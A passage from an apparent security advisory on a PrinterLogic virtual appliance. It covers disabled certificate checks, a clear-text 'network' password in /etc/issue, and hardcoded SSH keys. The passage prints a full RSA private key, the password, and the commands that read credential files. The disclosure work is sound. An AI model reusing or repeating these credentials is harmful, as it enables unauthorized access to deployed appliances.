    1TwxE3y5qXRIAvezhdBxAAAAEXJvb3RAcHJpbnRlcmxvZ2ljAQIDBA==
    -----END OPENSSH PRIVATE KEY-----
    root@printerlogic:/etc/ssh# sha256sum *
    9fa9dd312da04fbad130b70c96bf9707b8dc72cbdbb304d69bf58f52f94883b4  moduli
    a39fbc57dc2ef8a473f078d1f6a35f725809400df67070b8852e8ed725047df2  ssh_config
    750055f1d4ccc3517430e442faa8e19a47f611e53127de4a68c92e898761896b  
sshd_config
    7544d4035f03765866a1e8f03ff5bc713ecc794c675ce87a925d5a9ff0918905  
ssh_host_ecdsa_key
    f368c137cdbc3fcc9e573b35510896154a890720e6f9e13087de5c2ac4b10c4e  
ssh_host_ecdsa_key.pub
    f8d2a063872a82042bb1ec7ed2bb6e77b4bf10d47812461b50c72fbf12093146  
ssh_host_ed25519_key
    4f3ffad2e07fd9528260bdf58b3d83489d46a94241aa5a728298b7eed0520737  
ssh_host_ed25519_key.pub
    cca460094f777dfc1be24045b2f6e0b5cb5fed62bf0760f4f20f14a56377074b  
ssh_host_rsa_key
    fa6050b0f6fe07a3154c9eed9be1242291a02158117a14c09c1d7808aba0888a  
ssh_host_rsa_key.pub
    70f138f006507c07ced8cfe940ea2e8d2137246f5a270f535b0d7e64d070069b  
ssh_import_id

Any attacker can decrypt the SSH traffic to the appliance.



## Details - Insecure communications to printers and insecure communications to 
micro-services by disabling all SSL verifications

When auditing the PHP code, it appears communications to printers are insecure.

By default, there is no verification of SSL certificates, as 
`CURLOPT_SSL_VERIFYHOST` and `CURLOPT_SSL_VERIFYPEER` are set to `false` in a 
large part of the code base.

This means that the solution expressively uses insecure connection to printers, 
allowing Man-In-The-Middle attacks and disabling any communication security.

- From the curl documentation:

- - https://curl.se/libcurl/c/CURLOPT_SSL_VERIFYHOST.html

> When the verify value is 0, the connection succeeds regardless of the names 
> in the certificate. Use that ability with caution!

- - https://curl.se/libcurl/c/CURLOPT_SSL_VERIFYPEER.html

> WARNING: disabling verification of the certificate allows bad guys to 
> man-in-the-middle the communication without you knowing it. Disabling 
> verification makes the communication insecure. Just having encryption on a 
> transfer is not enough as you cannot be sure that you are communicating with 
> the correct end-point.

Extraction of curl options from PHP code.

Curl options set to insecure values:

    
root@printerlogic:/var/lib/docker/overlay2/b824f2e313d90952d397bc61401bff229c6feea92597b8d37758b959b08d2ffa/merged/var/www#
 rgrep CURLOPT_SSL_VERIFYHOST .
    ./app/console_release/samsung/samsung_rest_helper.php:  curl_setopt($ch, 
CURLOPT_SSL_VERIFYHOST, false);
    ./app/console_release/fast_release/elatec_tcpconv2.php:        
curl_setopt($ch_check, CURLOPT_SSL_VERIFYHOST, false);
    ./app/console_release/fast_release/elatec_tcpconv2.php:        
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
    ./app/console_release/fast_release/elatec_tcpconv2.php:            
curl_setopt($ch2, CURLOPT_SSL_VERIFYHOST, false);
    ./app/console_release/km/konicaminolta_soap_helper.php:         
//curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 2);
    ./app/console_release/km/konicaminolta_soap_helper.php:         
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
    ./app/console_release/km/konicaminolta_soap_helper.php:         
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
    ./app/console_release/km/konicaminolta_soap_helper.php:         
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0); 
    ./app/console_release/km/konicaminolta_soap_helper.php:         
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
    ./app/console_release/common/cpa_helper_functions.php:    curl_setopt( $ch, 
CURLOPT_SSL_VERIFYHOST, false );
    ./app/console_release/hp/hp_soap_helper.php:            curl_setopt($ch, 
CURLOPT_SSL_VERIFYHOST, false);
    ./app/console_release/toshiba/toshiba_soap_helper.php:    curl_setopt($ch, 
CURLOPT_SSL_VERIFYHOST, false);
    ./app/console_release/toshiba/toshiba_soap_helper.php:    curl_setopt($ch, 
CURLOPT_SSL_VERIFYHOST, false);
    ./app/console_release/xerox/xerox_soap_helper.php:    curl_setopt( $ch, 
CURLOPT_SSL_VERIFYHOST, false );
    ./app/console_release/xerox/xerox_soap_helper.php:    curl_setopt( $ch, 
CURLOPT_SSL_VERIFYHOST, false );
    ./app/console_release/xerox/xerox_soap_helper.php:    curl_setopt($ch, 
CURLOPT_SSL_VERIFYHOST, false);
    ./app/console_release/xerox/xerox_soap_helper.php:    curl_setopt( $ch, 
CURLOPT_SSL_VERIFYHOST, false );
    ./app/console_release/xerox/removeApp.php:        curl_setopt($ch, 
CURLOPT_SSL_VERIFYHOST, false);
    ./app/console_release/xerox/xerox_auth_soap_server_0.php:    
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
    ./app/console_release/xerox/xerox_auth_soap_server_0.php:        
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
    ./app/console_release/xerox/installApp.php:    curl_setopt($ch, 
CURLOPT_SSL_VERIFYHOST, false);
    ./app/lib/common/aws/lib/requestcore/requestcore.class.php:             
curl_setopt($curl_handle, CURLOPT_SSL_VERIFYHOST, true);
    ./app/app/Helpers/HPSoapHelper.php:        curl_setopt($ch, 
CURLOPT_SSL_VERIFYHOST, false);                         
    ./app/app/Helpers/ToshibaSoapHelpers.php:        curl_setopt($ch, 
CURLOPT_SSL_VERIFYHOST, false);
    ./app/app/Helpers/ToshibaSoapHelpers.php:        curl_setopt($ch, 
CURLOPT_SSL_VERIFYHOST, false);
    ./app/app/Helpers/XeroxSOAPHelper.php:        curl_setopt( $ch, 
CURLOPT_SSL_VERIFYHOST, false );
    ./app/app/Helpers/XeroxSOAPHelper.php:        curl_setopt( $ch, 
CURLOPT_SSL_VERIFYHOST, false );
    ./app/app/Helpers/XeroxSOAPHelper.php:        curl_setopt($ch, 
CURLOPT_SSL_VERIFYHOST, false);
    ./app/app/Helpers/XeroxSOAPHelper.php:        curl_setopt( $ch, 
CURLOPT_SSL_VERIFYHOST, false );
    ./app/app/Helpers/XeroxSOAPHelper.php:        curl_setopt($ch, 
CURLOPT_SSL_VERIFYHOST, false);
    ./app/app/Console/Commands/XeroxSoapClient.php:        curl_setopt($ch, 
CURLOPT_SSL_VERIFYHOST, false);
    ./vendor/guzzlehttp/guzzle/src/Handler/CurlFactory.php:                
$conf[CURLOPT_SSL_VERIFYHOST] = 0;
    ./vendor/guzzlehttp/guzzle/src/Handler/CurlFactory.php:                
$conf[CURLOPT_SSL_VERIFYHOST] = 2; 
    ./vendor/guzzlehttp/guzzle/CHANGELOG.md:* Bug: CURLOPT_SSL_VERIFYHOST is 
now correctly set to false when setting `$certificateAuthority` to false in
    ./vendor/guzzlehttp/guzzle/CHANGELOG.md:* CURLOPT_SSL_VERIFYHOST is never 
set to 1 because it is deprecated (see 5e0ff2ef20f839e19d1eeb298f90ba3598784444)
    
./vendor/sensiolabs/security-checker/SensioLabs/Security/Crawler/CurlCrawler.php:
        curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, 2);

    
root@printerlogic:/var/lib/docker/overlay2/b824f2e313d90952d397bc61401bff229c6feea92597b8d37758b959b08d2ffa/merged/var/www#
 rgrep CURLOPT_SSL_VERIFYPEER .
    ./app/console_release/samsung/samsung_rest_helper.php:  curl_setopt($ch, 
CURLOPT_SSL_VERIFYPEER, false);
    ./app/console_release/fast_release/elatec_tcpconv2.php:        
curl_setopt($ch_check, CURLOPT_SSL_VERIFYPEER, false);
    ./app/console_release/fast_release/elatec_tcpconv2.php:        
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
    ./app/console_release/fast_release/elatec_tcpconv2.php:            
curl_setopt($ch2, CURLOPT_SSL_VERIFYPEER, false);
    ./app/console_release/km/konicaminolta_soap_helper.php:         
//curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 1);
    ./app/console_release/km/konicaminolta_soap_helper.php:         
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
    ./app/console_release/km/konicaminolta_soap_helper.php:         
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
    ./app/console_release/km/konicaminolta_soap_helper.php:         
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
    ./app/console_release/km/konicaminolta_soap_helper.php:         
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
    ./app/console_release/common/cpa_helper_functions.php:    curl_setopt( $ch, 
CURLOPT_SSL_VERIFYPEER, false );
    ./app/console_release/hp/hp_soap_helper.php:            curl_setopt($ch, 
CURLOPT_SSL_VERIFYPEER, false);
    ./app/console_release/toshiba/toshiba_soap_helper.php:    curl_setopt($ch, 
CURLOPT_SSL_VERIFYPEER, false);
    ./app/console_release/toshiba/toshiba_soap_helper.php:    curl_setopt($ch, 
CURLOPT_SSL_VERIFYPEER, false);
    ./app/console_release/xerox/xerox_soap_helper.php:    curl_setopt( $ch, 
CURLOPT_SSL_VERIFYPEER, false );
    ./app/console_release/xerox/xerox_soap_helper.php:    curl_setopt( $ch, 
CURLOPT_SSL_VERIFYPEER, false );
    ./app/console_release/xerox/xerox_soap_helper.php:    curl_setopt($ch, 
CURLOPT_SSL_VERIFYPEER, false);
    ./app/console_release/xerox/xerox_soap_helper.php:    curl_setopt( $ch, 
CURLOPT_SSL_VERIFYPEER, false );
    ./app/console_release/xerox/removeApp.php:        curl_setopt($ch, 
CURLOPT_SSL_VERIFYPEER, false);
    ./app/console_release/xerox/xerox_auth_soap_server_0.php:    
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
    ./app/console_release/xerox/xerox_auth_soap_server_0.php:        
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
    ./app/console_release/xerox/installApp.php:    curl_setopt($ch, 
CURLOPT_SSL_VERIFYPEER, false);
    ./app/lib/common/lightopenid/openid.php:        curl_setopt($curl, 
CURLOPT_SSL_VERIFYPEER, false);
    ./app/lib/common/aws/lib/requestcore/requestcore.class.php:             
curl_setopt($curl_handle, CURLOPT_SSL_VERIFYPEER, false);
    ./app/app/Helpers/HPSoapHelper.php:        curl_setopt($ch, 
CURLOPT_SSL_VERIFYPEER, false);
    ./app/app/Helpers/ToshibaSoapHelpers.php:        curl_setopt($ch, 
CURLOPT_SSL_VERIFYPEER, false);
    ./app/app/Helpers/ToshibaSoapHelpers.php:        curl_setopt($ch, 
CURLOPT_SSL_VERIFYPEER, false);
    ./app/app/Helpers/XeroxSOAPHelper.php:        curl_setopt( $ch, 
CURLOPT_SSL_VERIFYPEER, false );
    ./app/app/Helpers/XeroxSOAPHelper.php:        curl_setopt( $ch, 
CURLOPT_SSL_VERIFYPEER, false );
    ./app/app/Helpers/XeroxSOAPHelper.php:        curl_setopt($ch, 
CURLOPT_SSL_VERIFYPEER, false);
    ./app/app/Helpers/XeroxSOAPHelper.php:        curl_setopt( $ch, 
CURLOPT_SSL_VERIFYPEER, false );
    ./app/app/Helpers/XeroxSOAPHelper.php:        curl_setopt($ch, 
CURLOPT_SSL_VERIFYPEER, false);
    ./app/app/Console/Commands/XeroxSoapClient.php:        curl_setopt($ch, 
CURLOPT_SSL_VERIFYPEER, false);
    ./vendor/guzzlehttp/guzzle/src/Handler/CurlFactory.php:                
$conf[CURLOPT_SSL_VERIFYPEER] = false;
    ./vendor/guzzlehttp/guzzle/src/Handler/CurlFactory.php:                
$conf[CURLOPT_SSL_VERIFYPEER] = true;
    
./vendor/sensiolabs/security-checker/SensioLabs/Security/Crawler/CurlCrawler.php:
        curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, 1);
    
root@printerlogic:/var/lib/docker/overlay2/b824f2e313d90952d397bc61401bff229c6feea92597b8d37758b959b08d2ffa/merged/var/www#

A large part of these options are set to false, disabling the security of 
communications.

The lack of checking validity of SSL certificates seems to be a regular 
pattern. The variables used for SSL verification are also set to false for 
micro-services.

Variables used to be sure no verification of SSL certificates is done in Docker 
images:

    kali$ cat 
./out-images/10daa560935d018324043b3ae4110cc94d91e24ab756da94634f6106b2f69ec6/var/www/app/.env
    ...
    API_GATEWAY_URL=https://pi
    API_GATEWAY_PUBLIC_URL=https://pi.pl-local.com
    API_GATEWAY_VERIFYSSL=false
    
    # PrinterInstaller API
    API_PRINTERINSTALLER_URL=https://pi
    API_PRINTERINSTALLER_VERIFYSSL=false
    
    # Microservice Authorization Key
    MS_AUTH_KEY=1001-LOCAL-ENV-KEY-1001
    
    # User Microservice API
    API_USER_URL=https://users
    API_USER_VERIFYSSL=false
    
    # Platform API
    API_PLAT_API_URL=http://plat-api
    API_PLAT_API_VERIFYSSL=false
    
    # Quota Management Microservice API
    API_QUOTA_URL=https://qm
    API_QUOTA_VERIFYSSL=false
    
    # Printer Queue Microservice API
    API_PQ_URL=https://pq
    API_PQ_VERIFYSSL=false
    
    # Driver Catalog Microservice API
    API_DRIVER_CATALOG_URL=https://drivers
    API_DRIVER_CATALOG_VERIFYSSL=false
    
    # Okta Microservice API
    API_OKTA_URL=https://okta
    API_OKTA_VERIFYSSL=false
    
    # Authn Microservice API
    API_AUTHN_URL=http://authn
    API_AUTHN_VERIFYSSL=false
    
    # External Badge Controller Microservice API
    EBC_URL=http://ebc
    EBC_VERIFYSSL=false
    
    # Cpp-Ui Microservice API
    API_CPP_UI_URL=https://cpp-ui
    API_CPP_UI_VERIFYSSL=false
    API_CPP_UI_PUBLIC_URL=https://cpp-ui.pl-local.com:12443
    
    # New API Gateway Microservice
    API_GW_URL=http://gw
    API_GW_PUBLIC_URL=https://gw.pl-local.com:5443
    API_GW_VERIFYSSL=false
    
    # Badge Reader Microservice API
    API_BR_URL=https://br
    API_BR_VERIFYSSL=false
    
    # VA-API Microservice
    VA_API_URL=http://va-api
    VA_API_VERIFYSSL=false
    
    # SCSS Microservice API
    API_SCSS_URL=http://scss
    API_SCSS_VERIFYSSL=false
    
    # Identity Microservice API
    API_IDENTITY_URL=http://identity
    API_IDENTITY_VERIFYSSL=false
    
    # Catalog Microservice API
    API_CAT_URL=http://cat
    API_CAT_VERIFYSSL=false
    
    # Qms Microservice API
    API_QMS_URL=http://qms
    API_QMS_VERIFYSSL=false

Variables used to be sure no verification of SSL certificates is done

    kali$ cat 
./out-images/f9380ebd8863a503cfb6f1864cfd46dc28611d1e35c7569fc26eb07700c41f63/opt/pc-sys/env/base/app.env
    [...]
    # SSL verification
    API_AUTHN_VERIFYSSL=${API_AUTHN_VERIFYSSL:-false}
    API_BR_VERIFYSSL=${API_BR_VERIFYSSL:-false}
    API_CAT_VERIFYSSL=${API_CAT_VERIFYSSL:-false}
    API_CPP_UI_VERIFYSSL=${API_CPP_UI_VERIFYSSL:-false}
    API_GATEWAY_VERIFYSSL=${API_GATEWAY_VERIFYSSL:-false}
    API_PRINTERINSTALLER_VERIFYSSL=${API_PRINTERINSTALLER_VERIFYSSL:-false}
    API_USER_VERIFYSSL=${API_USER_VERIFYSSL:-false}
    [...]

When looking for `ssl` and `false`, more results will appear in PHP source code.

Variables used to be sure no verification of SSL certificates is done:

    ./www/app/app/Services/IdentityService.php:                    
RequestOptions::VERIFY => boolval(config('api.identity.verify_ssl', false)),
    ./www/app/app/Services/IdentityService.php:                    
RequestOptions::VERIFY => boolval(config('api.identity.verify_ssl', false)),
    ./www/app/app/Services/IdentityService.php:                    
RequestOptions::VERIFY => boolval(config('api.identity.verify_ssl', false)),
    ./www/app/app/Services/IdentityService.php:                    
RequestOptions::VERIFY => boolval(config('api.identity.verify_ssl', false)),
    ./www/app/app/Services/IdentityService.php:                    
RequestOptions::VERIFY => boolval(config('api.identity.verify_ssl', false)),
    ./www/app/app/Services/IdentityService.php:                    
RequestOptions::VERIFY => boolval(config('api.identity.verify_ssl', false)),
    ./www/app/app/Services/IdentityService.php:                    
RequestOptions::VERIFY => boolval(config('api.identity.verify_ssl', false)),
    ./www/app/app/Services/IdentityService.php:                    
RequestOptions::VERIFY => boolval(config('api.identity.verify_ssl', false)),
    ./www/app/app/Services/IdentityService.php:                    
RequestOptions::VERIFY => boolval(config('api.identity.verify_ssl', false)),
    ./www/app/app/Services/IdentityService.php:                    
RequestOptions::VERIFY => boolval(config('api.identity.verify_ssl', false)),
    [...]
    ./www/app/config-laravel/api.php:        'verify_ssl' => 
env('API_IDENTITY_VERIFYSSL', false),
    ./www/app/config-laravel/api.php:        'verify_ssl' => 
env('API_CAT_VERIFYSSL', false),
    [...]

By design, the solution is vulnerable to Man-In-The-Middle attacks and does not 
provide security when communicating with the printers (e.g. releasing jobs). 
The `Secure Printing` is insecure by default.

The micro-apis do not check SSL certificates. In any case, these communications 
are done over clear-text HTTP.



## Details - Password for `network` stored in clear-text inside `/etc/issue`, 
world-readable

By default, it is possible to retrieve the password of the `network` user.

The file `/etc/issue` contains the password in clear-text. Furthermore, this 
file is world-readable:

    root@printerlogic:/etc# ls -la /etc/issue
    -rw-r--r-- 1 root root 406 Jan 21 12:25 /etc/issue
    root@printerlogic:/etc# cat /etc/issue
       . . . . . . . . . . . . . . . . . . . . . . . . . . . . 
     .
     .  PrinterLogic Virtual Appliance Host Version: 1.0.730
     .
     .  STATUS: running
     .      IP: \4
     .
     .  Your application is running and may be accessed at: 
     .    http://10.105.0.240/admin
     .
     .  To change network settings please login:
     .    User: network
     .    password: gl3wW5pwQW
     .
       . . . . . . . . . . . . . . . . . . . . . . . . . . . . 
    
    root@printerlogic:/etc#

An attacker with a shell on the appliance can use the `network` account to 
change network parameters.



## Details - Hardcoded SSH keys + private SSH keys for 
[redacted]@printerlogic.com

4 private SSH keys have been identified inside overlay file systems.

Private SSH key for [redacted]@printerlogic.com:

    root@printerlogic:/var/lib/docker/overlay2# cat 
l/52OZV2SUNBKDGHGOMZIF7THOG4/var/www/app/.docker-config/buildkey/key
    -----BEGIN RSA PRIVATE KEY-----
    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
    -----END RSA PRIVATE KEY-----
    root@printerlogic:/var/lib/docker/overlay2# cat 
l/52OZV2SUNBKDGHGOMZIF7THOG4/var/www/app/.docker-config/buildkey/key.pub
    ssh-rsa 
AAAAB3NzaC1yc2EAAAADAQABAAACAQDNyc+v6JH6q5M47st8Cs3a7ekwr7TW4j6GCkXupqnDhdcIRXkb9pXyF+0dfPk3X3DrZ1yYSjx9z848POhmecIA9OGAMBqewAQllS5GrkdTH7mAZ1ECTvrjzkZnHAEz95ED2TlI20n4xY06yXZbLIQhM9DjhTlNDP0Vz51spn/xKRyN2hk/MC3TqVRiePkxPhp54OanuxQj74Xes905vFCIXukqKslRKXuZMiPPBr+rXma99Ev09APkJGu+Gf12d4c+7A+iOCDjphQ7IgzMS5qegKVFynX1UPoTUClUZN/oBVOitu3EVAajY7BOOGE4K+EAtxRjiwYfNAb2tajXMcDV8BcKiPu1mR23Q+sr39GOZgfuEcIQt7NvqMnBtNRomOBT7L4JJJ83G7kqP7BtDPS7OTjxNthPQNIMIgPC+rt9RCR/LlUCRSXNVi11el/L1zntHUfNNhsR+s94qjiS9PeXOqqDplpAEW7qIA6OW27cMJHaSHT0TbhZMyMj5qTTf4fUGkfKg5S5+yOUc8Y+ZVLD/62Tmc4EVFMKExB6AY8sormW4KnStBOH//4N0+RobSinClH7pAs8t91H9EZMOb1HWLuh9sC6O6I8Y/7VNjpMRMwPjTVxyWioPfvXL/nYAarQx2T8vHJ0PPhPw9rv7HFg28j7SmwQUJJArOIx1N0d+w==
 [redacted]@printerlogic.com
    root@printerlogic:/var/lib/docker/overlay2#

It is possible to extract all these private keys:

    kali% ls -la 
    total 44
    drwxr-xr-x 2 user user 4096 Jan 27 05:20 .
    drwxr-xr-x 7 user user 4096 Jan 27 06:54 ..
    -rw-r--r-- 1 user user  757 Jan 27 05:20 
0c6cde480b4d75d9c9a82b8a12c6d445895bb825e9af124a45a30ebad50bda2f
    -rw-r--r-- 1 user user 3298 Jan 27 05:20 
2410f7c3221fd364bbd3973e9a9d4a5822470220de3fc62b3f03c805b3c0d18a
    -rw-r--r-- 1 user user  554 Jan 27 05:20 
4ea7f52240de54a12d5e69ca3e466ae1b0104237f170a52e464571d5ba31fa30
    -rw-r--r-- 1 user user 3247 Jan 27 05:20 
788a46c826899b5e540230665f70b01d6109e3dfd3fff563c2dde28a8d5d9cab
    -rwxr-xr-x 1 user user  756 Jan 27 05:20 
83159c9f12a524d61211d7d1c90be6f0adc28af47f005642984a38535635ba98
    -rw-r--r-- 1 user user  758 Jan 27 05:20 
ad8dd47e588d13a71445fc4094cf235134345c75078717a65edd99570ea09b86
    -rw-r--r-- 1 user user 2578 Jan 27 05:20 
ba6d3cc939560607ddb022268532711ebe04a4d3a9091b8e8c021fe18d3e54ad
    -rwxr-xr-x 1 user user 3246 Jan 27 05:20 
e4eef378452637b12bdf3be4b094dbf31815aa135eac4bd32f705cd74e890909
    -rw-r--r-- 1 user user 3252 Jan 27 05:20 
f8b7e55b72b82e3dcfc3801441522e87cf9b3a9c8bc10e66ad7ba421ee5cac9c
    kali% for i in 
0c6cde480b4d75d9c9a82b8a12c6d445895bb825e9af124a45a30ebad50bda2f  
4ea7f52240de54a12d5e69ca3e466ae1b0104237f170a52e464571d5ba31fa30  
83159c9f12a524d61211d7d1c90be6f0adc28af47f005642984a38535635ba98  
ad8dd47e588d13a71445fc4094cf235134345c75078717a65edd99570ea09b86; do cat 
$i;echo;done
    ssh-rsa 
AAAAB3NzaC1yc2EAAAADAQABAAACAQDNyc+v6JH6q5M47st8Cs3a7ekwr7TW4j6GCkXupqnDhdcIRXkb9pXyF+0dfPk3X3DrZ1yYSjx9z848POhmecIA9OGAMBqewAQllS5GrkdTH7mAZ1ECTvrjzkZnHAEz95ED2TlI20n4xY06yXZbLIQhM9DjhTlNDP0Vz51spn/xKRyN2hk/MC3TqVRiePkxPhp54OanuxQj74Xes905vFCIXukqKslRKXuZMiPPBr+rXma99Ev09APkJGu+Gf12d4c+7A+iOCDjphQ7IgzMS5qegKVFynX1UPoTUClUZN/oBVOitu3EVAajY7BOOGE4K+EAtxRjiwYfNAb2tajXMcDV8BcKiPu1mR23Q+sr39GOZgfuEcIQt7NvqMnBtNRomOBT7L4JJJ83G7kqP7BtDPS7OTjxNthPQNIMIgPC+rt9RCR/LlUCRSXNVi11el/L1zntHUfNNhsR+s94qjiS9PeXOqqDplpAEW7qIA6OW27cMJHaSHT0TbhZMyMj5qTTf4fUGkfKg5S5+yOUc8Y+ZVLD/62Tmc4EVFMKExB6AY8sormW4KnStBOH//4N0+RobSinClH7pAs8t91H9EZMOb1HWLuh9sC6O6I8Y/7VNjpMRMwPjTVxyWioPfvXL/nYAarQx2T8vHJ0PPhPw9rv7HFg28j7SmwQUJJArOIx1N0d+w==
 [redacted]@printerlogic.com
    ssh-rsa 
